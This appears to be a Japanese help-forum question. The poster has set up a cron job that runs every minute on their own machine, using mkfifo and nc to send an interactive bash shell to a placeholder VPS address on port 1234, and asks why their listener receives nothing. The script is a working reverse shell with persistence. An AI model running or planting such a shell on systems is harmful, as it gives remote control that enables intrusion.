次のコードを使用して、自分の個人用マシンに接続を設定しました。
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc VPS_IP_ADDRESS_HERE 1234 < f | /bin/bash -i > f 2>&1
fi
別のネットワーク上の別のマシンから接続したいので、VPS を購入しました。テキストをVPS_IP_ADDRESS_HERE
VPS の IP アドレスに置き換えました。次に、スクリプトに の権限を付与しましたchmod 777 /etc/whatever
。また、bash スクリプトが 1 分ごとに実行されるように crontab を作成し、次のコードに設定しました。
* * * * * /etc/whatever
今、別のマシンで VPS に SSH してコマンドを実行しましたnc -l -p 1234
が、接続も何も起こりませんでした。助けてください。